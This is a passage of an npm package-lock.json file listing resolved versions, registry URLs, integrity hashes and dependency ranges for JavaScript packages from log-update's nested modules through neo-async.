} }, "node_modules/log-update/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, "node_modules/log-update/node_modules/slice-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", "dev": true, "dependencies": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/slice-ansi?sponsor=1" } }, "node_modules/log-update/node_modules/strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "dev": true, "dependencies": { "ansi-regex": "^5.0.0" }, "engines": { "node": ">=8" } }, "node_modules/log-update/node_modules/wrap-ansi": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", "dev": true, "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" }, "engines": { "node": ">=8" } }, "node_modules/longest-streak": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz", "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/loose-envify": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "dev": true, "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": { "loose-envify": "cli.js" } }, "node_modules/lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", "dependencies": { "yallist": "^4.0.0" }, "engines": { "node": ">=10" } }, "node_modules/map-obj": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/markdown-table": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", "dependencies": { "repeat-string": "^1.0.0" }, "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/mdast-util-find-and-replace": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-1.1.1.tgz", "integrity": "sha512-9cKl33Y21lyckGzpSmEQnIDjEfeeWelN5s1kUW1LwdB0Fkuq2u+4GdqcGEygYxJE8GVqCl0741bYXHgamfWAZA==", "dependencies": { "escape-string-regexp": "^4.0.0", "unist-util-is": "^4.0.0", "unist-util-visit-parents": "^3.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/mdast-util-footnote": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/mdast-util-footnote/-/mdast-util-footnote-0.1.7.tgz", "integrity": "sha512-QxNdO8qSxqbO2e3m09KwDKfWiLgqyCurdWTQ198NpbZ2hxntdc+VKS4fDJCmNWbAroUdYnSthu+XbZ8ovh8C3w==", "dependencies": { "mdast-util-to-markdown": "^0.6.0", "micromark": "~2.11.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-from-markdown": { "version": "0.8.5", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", "dependencies": { "@types/mdast": "^3.0.0", "mdast-util-to-string": "^2.0.0", "micromark": "~2.11.0", "parse-entities": "^2.0.0", "unist-util-stringify-position": "^2.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-frontmatter": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/mdast-util-frontmatter/-/mdast-util-frontmatter-0.2.0.tgz", "integrity": "sha512-FHKL4w4S5fdt1KjJCwB0178WJ0evnyyQr5kXTM3wrOVpytD0hrkvd+AOOjU9Td8onOejCkmZ+HQRT3CZ3coHHQ==", "dependencies": { "micromark-extension-frontmatter": "^0.2.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-gfm": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-0.1.2.tgz", "integrity": "sha512-NNkhDx/qYcuOWB7xHUGWZYVXvjPFFd6afg6/e2g+SV4r9q5XUcCbV4Wfa3DLYIiD+xAEZc6K4MGaE/m0KDcPwQ==", "dependencies": { "mdast-util-gfm-autolink-literal": "^0.1.0", "mdast-util-gfm-strikethrough": "^0.2.0", "mdast-util-gfm-table": "^0.1.0", "mdast-util-gfm-task-list-item": "^0.1.0", "mdast-util-to-markdown": "^0.6.1" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-gfm-autolink-literal": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-0.1.3.tgz", "integrity": "sha512-GjmLjWrXg1wqMIO9+ZsRik/s7PLwTaeCHVB7vRxUwLntZc8mzmTsLVr6HW1yLokcnhfURsn5zmSVdi3/xWWu1A==", "dependencies": { "ccount": "^1.0.0", "mdast-util-find-and-replace": "^1.1.0", "micromark": "^2.11.3" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-gfm-strikethrough": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-0.2.3.tgz", "integrity": "sha512-5OQLXpt6qdbttcDG/UxYY7Yjj3e8P7X16LzvpX8pIQPYJ/C2Z1qFGMmcw+1PZMUM3Z8wt8NRfYTvCni93mgsgA==", "dependencies": { "mdast-util-to-markdown": "^0.6.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-gfm-table": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-0.1.6.tgz", "integrity": "sha512-j4yDxQ66AJSBwGkbpFEp9uG/LS1tZV3P33fN1gkyRB2LoRL+RR3f76m0HPHaby6F4Z5xr9Fv1URmATlRRUIpRQ==", "dependencies": { "markdown-table": "^2.0.0", "mdast-util-to-markdown": "~0.6.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-gfm-task-list-item": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-0.1.6.tgz", "integrity": "sha512-/d51FFIfPsSmCIRNp7E6pozM9z1GYPIkSy1urQ8s/o4TC22BZ7DqfHFWiqBD23bc7J3vV1Fc9O4QIHBlfuit8A==", "dependencies": { "mdast-util-to-markdown": "~0.6.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-to-markdown": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", "dependencies": { "@types/unist": "^2.0.0", "longest-streak": "^2.0.0", "mdast-util-to-string": "^2.0.0", "parse-entities": "^2.0.0", "repeat-string": "^1.0.0", "zwitch": "^1.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/mdast-util-to-string": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/meow": { "version": "8.1.2", "resolved": "https://registry.npmjs.org/meow/-/meow-8.1.2.tgz", "integrity": "sha512-r85E3NdZ+mpYk1C6RjPFEMSE+s1iZMuHtsHAqY0DT3jZczl0diWUZ8g6oU7h0M9cD2EL+PzaYghhCLzR0ZNn5Q==", "dependencies": { "@types/minimist": "^1.2.0", "camelcase-keys": "^6.2.2", "decamelize-keys": "^1.1.0", "hard-rejection": "^2.1.0", "minimist-options": "4.1.0", "normalize-package-data": "^3.0.0", "read-pkg-up": "^7.0.1", "redent": "^3.0.0", "trim-newlines": "^3.0.0", "type-fest": "^0.18.0", "yargs-parser": "^20.2.3" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/meow/node_modules/find-up": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "dependencies": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "dependencies": { "lru-cache": "^6.0.0" }, "engines": { "node": ">=10" } }, "node_modules/meow/node_modules/locate-path": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "dependencies": { "p-locate": "^4.1.0" }, "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/normalize-package-data": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", "dependencies": { "hosted-git-info": "^4.0.1", "is-core-module": "^2.5.0", "semver": "^7.3.4", "validate-npm-package-license": "^3.0.1" }, "engines": { "node": ">=10" } }, "node_modules/meow/node_modules/p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "dependencies": { "p-try": "^2.0.0" }, "engines": { "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/meow/node_modules/p-locate": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", "dependencies": { "p-limit": "^2.2.0" }, "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "engines": { "node": ">=6" } }, "node_modules/meow/node_modules/parse-json": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/meow/node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/read-pkg": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", "dependencies": { "@types/normalize-package-data": "^2.4.0", "normalize-package-data": "^2.5.0", "parse-json": "^5.0.0", "type-fest": "^0.6.0" }, "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/read-pkg-up": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", "dependencies": { "find-up": "^4.1.0", "read-pkg": "^5.2.0", "type-fest": "^0.8.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/meow/node_modules/read-pkg-up/node_modules/type-fest": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/read-pkg/node_modules/hosted-git-info": { "version": "2.8.9", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==" }, "node_modules/meow/node_modules/read-pkg/node_modules/normalize-package-data": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", "dependencies": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", "semver": "2 || 3 || 4 || 5", "validate-npm-package-license": "^3.0.1" } }, "node_modules/meow/node_modules/read-pkg/node_modules/semver": { "version": "5.7.2", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", "bin": { "semver": "bin/semver" } }, "node_modules/meow/node_modules/read-pkg/node_modules/type-fest": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", "engines": { "node": ">=8" } }, "node_modules/meow/node_modules/semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dependencies": { "lru-cache": "^6.0.0" }, "bin": { "semver": "bin/semver.js" }, "engines": { "node": ">=10" } }, "node_modules/meow/node_modules/type-fest": { "version": "0.18.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", "dev": true }, "node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", "dev": true, "engines": { "node": ">= 8" } }, "node_modules/micromark": { "version": "2.11.4", "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", "funding": [ { "type": "GitHub Sponsors", "url": "https://github.com/sponsors/unifiedjs" }, { "type": "OpenCollective", "url": "https://opencollective.com/unified" } ], "dependencies": { "debug": "^4.0.0", "parse-entities": "^2.0.0" } }, "node_modules/micromark-extension-footnote": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/micromark-extension-footnote/-/micromark-extension-footnote-0.3.2.tgz", "integrity": "sha512-gr/BeIxbIWQoUm02cIfK7mdMZ/fbroRpLsck4kvFtjbzP4yi+OPVbnukTc/zy0i7spC2xYE/dbX1Sur8BEDJsQ==", "dependencies": { "micromark": "~2.11.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-frontmatter": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/micromark-extension-frontmatter/-/micromark-extension-frontmatter-0.2.2.tgz", "integrity": "sha512-q6nPLFCMTLtfsctAuS0Xh4vaolxSFUWUWR6PZSrXXiRy+SANGllpcqdXFv2z07l0Xz/6Hl40hK0ffNCJPH2n1A==", "dependencies": { "fault": "^1.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-0.3.3.tgz", "integrity": "sha512-oVN4zv5/tAIA+l3GbMi7lWeYpJ14oQyJ3uEim20ktYFAcfX1x3LNlFGGlmrZHt7u9YlKExmyJdDGaTt6cMSR/A==", "dependencies": { "micromark": "~2.11.0", "micromark-extension-gfm-autolink-literal": "~0.5.0", "micromark-extension-gfm-strikethrough": "~0.6.5", "micromark-extension-gfm-table": "~0.4.0", "micromark-extension-gfm-tagfilter": "~0.3.0", "micromark-extension-gfm-task-list-item": "~0.3.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm-autolink-literal": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-0.5.7.tgz", "integrity": "sha512-ePiDGH0/lhcngCe8FtH4ARFoxKTUelMp4L7Gg2pujYD5CSMb9PbblnyL+AAMud/SNMyusbS2XDSiPIRcQoNFAw==", "dependencies": { "micromark": "~2.11.3" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm-strikethrough": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-0.6.5.tgz", "integrity": "sha512-PpOKlgokpQRwUesRwWEp+fHjGGkZEejj83k9gU5iXCbDG+XBA92BqnRKYJdfqfkrRcZRgGuPuXb7DaK/DmxOhw==", "dependencies": { "micromark": "~2.11.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm-table": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-0.4.3.tgz", "integrity": "sha512-hVGvESPq0fk6ALWtomcwmgLvH8ZSVpcPjzi0AjPclB9FsVRgMtGZkUcpE0zgjOCFAznKepF4z3hX8z6e3HODdA==", "dependencies": { "micromark": "~2.11.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm-tagfilter": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-0.3.0.tgz", "integrity": "sha512-9GU0xBatryXifL//FJH+tAZ6i240xQuFrSL7mYi8f4oZSbc+NvXjkrHemeYP0+L4ZUT+Ptz3b95zhUZnMtoi/Q==", "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark-extension-gfm-task-list-item": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-0.3.3.tgz", "integrity": "sha512-0zvM5iSLKrc/NQl84pZSjGo66aTGd57C1idmlWmE87lkMcXrTxg1uXa/nXomxJytoje9trP0NDLvw4bZ/Z/XCQ==", "dependencies": { "micromark": "~2.11.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/micromark/node_modules/debug": { "version": "4.3.4", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", "dependencies": { "ms": "2.1.2" }, "engines": { "node": ">=6.0" }, "peerDependenciesMeta": { "supports-color": { "optional": true } } }, "node_modules/micromatch": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", "dev": true, "dependencies": { "braces": "^3.0.2", "picomatch": "^2.3.1" }, "engines": { "node": ">=8.6" } }, "node_modules/mime-db": { "version": "1.38.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.38.0.tgz", "integrity": "sha512-bqVioMFFzc2awcdJZIzR3HjZFX20QhilVS7hytkKrv7xFAn8bM1gzc/FOX2awLISvWe0PV8ptFKcon+wZ5qYkg==", "engines": { "node": ">= 0.6" } }, "node_modules/mime-types": { "version": "2.1.22", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.22.tgz", "integrity": "sha512-aGl6TZGnhm/li6F7yx82bJiBZwgiEa4Hf6CNr8YO+r5UHr53tSTYZb102zyU50DOWWKeOv0uQLRL0/9EiKWCog==", "dependencies": { "mime-db": "~1.38.0" }, "engines": { "node": ">= 0.6" } }, "node_modules/mimic-fn": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/min-indent": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", "engines": { "node": ">=4" } }, "node_modules/minimatch": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dependencies": { "brace-expansion": "^1.1.7" }, "engines": { "node": "*" } }, "node_modules/minimist": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/minimist-options": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", "dependencies": { "arrify": "^1.0.1", "is-plain-obj": "^1.1.0", "kind-of": "^6.0.3" }, "engines": { "node": ">= 6" } }, "node_modules/minimist-options/node_modules/is-plain-obj": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==", "engines": { "node": ">=0.10.0" } }, "node_modules/mkdirp": { "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", "dev": true, "dependencies": { "minimist": "^1.2.5" }, "bin": { "mkdirp": "bin/cmd.js" } }, "node_modules/modify-values": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/modify-values/-/modify-values-1.0.1.tgz", "integrity": "sha512-xV2bxeN6F7oYjZWTe/YPAy6MN2M+sL4u/Rlm2AHCIVGfo2p1yGmBHQ6vHehl4bRTZBdHu3TSkWdYgkwpYzAGSw==", "engines": { "node": ">=0.10.0" } }, "node_modules/ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" }, "node_modules/mute-stream": { "version": "0.0.7", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", "dev": true }, "node_modules/natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, "node_modules/neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", "integrity": 